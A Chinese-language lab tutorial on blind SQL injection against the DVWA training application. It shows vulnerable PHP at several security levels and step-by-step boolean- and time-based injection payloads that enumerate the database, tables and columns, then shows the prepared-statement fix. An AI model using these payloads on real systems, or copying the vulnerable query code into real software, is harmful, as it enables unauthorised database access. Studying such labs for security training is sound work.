SQL Injection(Blind),即SQL盲注,与通常注入的区别在于,通常的注入攻击者能够直接从页面上看到注入语句的执行结果,而盲注时攻击者一般是没法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,所以盲注的难度要比通常注入高。目前网络上现存的SQL注入漏洞大可能是SQL盲注。php
手工盲注思路前端
手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的不少,但只会回答“是”或者“不是”,所以你须要询问它这样的问题,例如“数据库名字的第一个字母是否是a啊?”,经过这种机械的询问,最终得到你想要的数据。mysql
盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,这里因为实验环境的限制,只演示基于布尔的盲注与基于时间的盲注。sql
下面简要介绍手工盲注的步骤(可与以前的手工注入做比较):数据库
1.判断是否存在注入,注入是字符型仍是数字型 2.猜解当前数据库名 3.猜解数据库中的表名 4.猜解表中的字段名 5.猜解数据
再介绍一下盲注中经常使用的几个函数:安全
substr()
count()
ascii()
length()
left()
下面对四种级别的代码进行分析。服务器
Low Security Levelcookie
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
payload网络
1 1' 1' or 1=1# 1' or 1=2#
判断为盲注以后,进行数据库猜解:session
1' and length(database())=4 #
二分法猜解表:
ASCII 码对照表
从表中看出,字符中,小写字母按顺序第一位a的ascii码是97
咱们来进行猜想:
猜数据库名
1' and ascii(substr(database(),1,1))>97# 页面返回存在 1' and ascii(substr(database(),1,1))>100# 页面返回不存在 1' and ascii(substr(database(),1,1))<103# 页面返回存在 1' and ascii(substr(database(),1,1))<100# 页面返回不存在
最终发现:数据库名的第一位字符的ascii
码值为 100,则获得字母d
重复上述步骤,就能够猜解出完整的数据库名dvwa
了。
猜表名
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在 1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在
得知有2
个表,继续使用length()
函数来猜想表的长度:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在 … 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
说明第一个表名长度为9
。
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明第一个表的名字的第一个字符为小写字母g。
…
重复上述步骤,便可猜解出两个表名guestbook
、users
。
猜解表中的字段名
首先猜解表中字段的数量:
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 显示不存在 … 1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 显示存在
说明users
表有8
个字段。
接着挨个猜解字段名:
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 # 显示不存在 … 1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显示存在
说明users
表的第一个字段为7
个字符长度。
采用二分法,便可猜解出全部字段名。
猜解数据
一样采用二分法。
还可使用基于时间的盲注:
1' and sleep(5) #感受到明显延迟;
1 and sleep(5) #没有延迟;
说明存在字符型的基于时间的盲注。
首先猜解数据名的长度:
1' and if(length(database())=1,sleep(5),1) # 没有延迟 1' and if(length(database())=2,sleep(5),1) # 没有延迟 1' and if(length(database())=3,sleep(5),1) # 没有延迟 1' and if(length(database())=4,sleep(5),1) # 明显延迟
说明数据库名长度为4
个字符。
接着采用二分法
猜解数据库名:
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟 … 1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟 1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
说明数据库名的第一个字符为小写字母d
。
…
重复上述步骤,便可猜解出数据库名。
首先猜解数据库中表的数量:
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟 1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟
说明数据库中有两个表。
接着挨个猜解表名:
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟 … 1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟
说明第一个表名的长度为9
个字符。
采用二分法便可猜解出表名。
首先猜解表中字段的数量:
1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟 … 1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟
说明users
表中有8
个字段。
接着挨个猜解字段名:
1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟 … 1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟
说明users
表的第一个字段长度为7
个字符。
采用二分法便可猜解出各个字段名。
一样采用二分法。
Medium Security Level
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } //mysql_close(); } ?>
能够看到,Medium Security Level
的代码利用mysqli_real_escape_string
函数对特殊符号\x00
,\n
,\r
,\
,’
,”
,\x1a
进行转义,同时前端页面设置了下拉选择表单,但愿以此来控制用户的输入。
虽然前端使用了下拉选择菜单,但咱们依然能够经过抓包改参数id
,提交恶意构造的查询参数。
以前已经介绍了详细的盲注流程,这里就简要演示几个。
首先是基于布尔的盲注:
抓包改参数id
为
1 and length(database())=4 #
显示存在,说明数据库名的长度为4
个字符;
抓包改参数id
为
1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
显示存在,说明数据中的第一个表名长度为9
个字符;
抓包改参数id
为
1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273 为 users 的 16 进制)
显示存在,说明users
表有8
个字段。
而后是基于时间的盲注:
抓包改参数id
为
1 and if(length(database())=4,sleep(5),1) #
明显延迟,说明数据库名的长度为4
个字符;
抓包改参数id
为
1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #
明显延迟,说明数据中的第一个表名长度为9
个字符;
抓包改参数id
为
1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #
明显延迟,说明users
表有8
个字段。
High Security Level
<?php if( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
能够看到,High Security Level
的代码利用cookie
传递参数id
,当SQL
查询结果为空时,会执行函数sleep(seconds)
,目的是为了扰乱基于时间的盲注。同时在SQL
查询语句中添加了LIMIT 1
,但愿以此控制只输出一个结果。
虽然添加了LIMIT 1
,可是咱们能够经过#
将其注释掉。但因为服务器端执行sleep
函数,会使得基于时间盲注的准确性受到影响,这里咱们只演示基于布尔的盲注:
抓包将cookie
中参数id
改成
1' and length(database())=4#
显示存在,说明数据库名的长度为4
个字符;
抓包将cookies
中参数id
改成
1'and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
显示存在,说明数据中的第一个表名长度为9
个字符;
抓包将cookie
中参数id
改成
1' and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为 users 的 16 进制)
显示存在,说明uers
表有8
个字段。
Impossible Security Level
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); // Get results if( $data->rowCount() == 1 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
能够看到,Impossible Security Level
的代码采用了PDO
技术,划清了代码与数据的界限,有效防护SQL
注入,Anti-CSRF token
机制的加入了进一步提升了安全性。